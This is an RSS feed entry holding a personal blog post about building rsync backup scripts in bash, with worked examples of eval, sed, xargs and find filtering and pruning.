			<content:encoded><![CDATA[<p>Now that I find myself with gigs of online storage space to be used for backups, it gives me a perfect excuse to organize my files in a sensible manner and schedule them to be backed up regularly.  Now, "sensible manner" in my case ended up involving many directories and a host of symlinks (which appear as shortcuts under Windows...  nice touch by Cygwin), and so the backup script had to apply some filtering rules.  It turned out to be rather more involved than one would think is necessary.  rsync include / exclude mechanism is rather tricky, and many people recommend using find for filtering and piping the results to rsync.   It is dubious whether that is a more straightforward solution: for instance, in order to select a set of files with extensions .pl, .h, and .cpp, I ended up with the following gem:<br />
<code><br />
srcdir="projects/fin/code/"<br />
srcpath=~/$srcdir<br />
exts="pl,h,cpp"<br />
eval ls -A1 $srcpath*.{$exts} 2&gt;/dev/null | \<br />
xargs -I{} echo {} | eval sed 's/^.\\{${#srcpath}\\}//g' | \<br />
rsync -vzaEHxuh --progress --stats --append --delete \<br />
--files-from=- $srcpath $hostname:~/$srcdir</code></p>
<p>Whoa.  What's going on here?..  Many subtle things.  Line 4 creates a list of files with the given extensions.  eval is necessary to combine brace expansion with variable expansion, while the output redirection kills stderr messages, e.g. in case there are no files with .h extension.  However, rync has problems unless the files are given relative to the source path.  Line 5, then, strips out the first ${#srcpath} characters (this is the bash syntax for length of string in $srcpath).  If we wanted to remove 5 chars from the start of $foo, we would do<br />
echo $foo | sed 's/^.\{5\}//g'<br />
-- pretty standard usage of sed.  Here, we need once again to use eval in order to get to the ${#srcpath} variable, and since we are using eval the braces in sed have to be escaped twice.<br />
The xargs construct simply takes the list of files and feeds it to the sed construct line by line (-I{} instructs xargs to place the line where {} are in the following code).</p>
<p>Now, of course after feeling great about myself for being at ease with all aspects of this eval sed construction, I realized (and by that I mean, Andrei realized) that  <code>echo $foo | eval sed 's/^.\\{${#srcpath}\\}//g'</code> is completely equivalent to <code>basename $foo.</code>    I like this sort of brevity, although it's a little disappointing that as of late my attempts to showcase knowledge of sed and awk have been torpredoed by these sorts of built-in bash commands.  </p>
<p>Here's another one: I want to back up all the hidden (dot-) files and directories, as well as their contents.<br />
<code><br />
srcdir=~<br />
ls $srcdir -A1 | grep -e "^\." 2&gt;/dev/null | \<br />
rsync -vzraEHxuh --progress --stats --append --delete \<br />
--files-from=- $srcdir $hostname:~/<br />
# note that it is necessary to explicitly use the r switch!  The file<br />
# list includes the directories, but not the contents of their directories.<br />
# Even though -a switch in rsync implies -r, it won't go into the directories<br />
# if -r isn't there explicitly.</code></p>
<p>Luckily, -r switch on rsync forced it to look into the directories given in the list and process them recursively.  If that didn't work, I would have had to use<br />
find ~ -path ~/.\*<br />
-- (notice the escaped *), and I'd have to strip the ~ from the start of full path strings using the complicated construct above.</p>
<p>The other good side effect of this project (in addition to having my data safely backed up) is that I understand the find command much better now.  In hinsight, it is quite simple, actually.  find starts in a given directory and recursively constructs a file tree.  It then goes through this file tree, applying a set of expressions to each element.  If the expressions evaluate to true, it performs certain actions (default is to print the pathname).  Expressions can involve options, tests (-name, -path, -regex, -type, -user, etc.), and actions (-delete, -exec, -prune, ...).    So what does a statement like<br />
find $mydir <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_2de9018f9eb95445d77f0e05e9aee0e8.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=" \! -name $mydirname -prune  " /></span><script type='math/tex'> \! -name $mydirname -prune  </script> -name ".*"<br />
actually mean?</p>
<p>Well, the parenthesized expression means: if the name of the file doesn't contain $mydirname, (\! -name $mydirname) then prune it (don't include it).  (Notice that negation has high precedence -- higher than the implicit AND between -name and -prune.)   For instance,  find ~ <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_d264e5cb14b26d5a6bc2e9f0b6891406.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=" \! -name Leo -prune  " /></span><script type='math/tex'> \! -name Leo -prune  </script> will see /home/Leo, see that the (base)name<br />
is Leo, and will let it pass, but everything else will die -- since /home/Leo will be the first "file" listed, it won't go into any of the subdirectories.  Using this trick, we can preclude find from recursing into subdirectories.</p>
<p>Another example (taken from the manual):<br />
find . -name .snapshot -prune -o <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_b92e6fef3f0516b92469c6db7c61e962.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=" \! -name *~ -print0  " /></span><script type='math/tex'> \! -name *~ -print0  </script><br />
This is a common construct used to ignore certain files and directories while performing some other action.  OR is needed because for files that don't match our pruning criterion, the -name .snapshot -prune will be false.  If we had an implicit AND, the expressions that follow would also be short-circuited to false.</p>
<p>Another very common usage (one of my earliest memories of find, actually):<br />
find . -name "*.nb" -exec grep -H PATTERN {} +<br />
This simply runs a command (grep in this case) putting the matching file(s) in {}.  (It used to be that instead of + the expression was terminated by an escaped semicolon \; -- but + is faster).   Apparently, this runs quite fast and in efficiency rivals piping the result of find to xargs:<br />
find . -name "*.nb" -print0 | xargs -0 grep PATTERN<br />
(note the -print0 / xargs -0 pair -- this guards against non-standard filenames).</p>
<p>Other things that I learned this fine holiday weekend include being wary of wc character count (it counts newlines as characters!  (cf.   echo "123" | wc -m vs printf "123" | wc -m or echo -n "123" | wc -m), got reminded of the basename command, refreshed basic awk syntax...  Not bad, not bad at all.</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/lets-back-that-sht-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
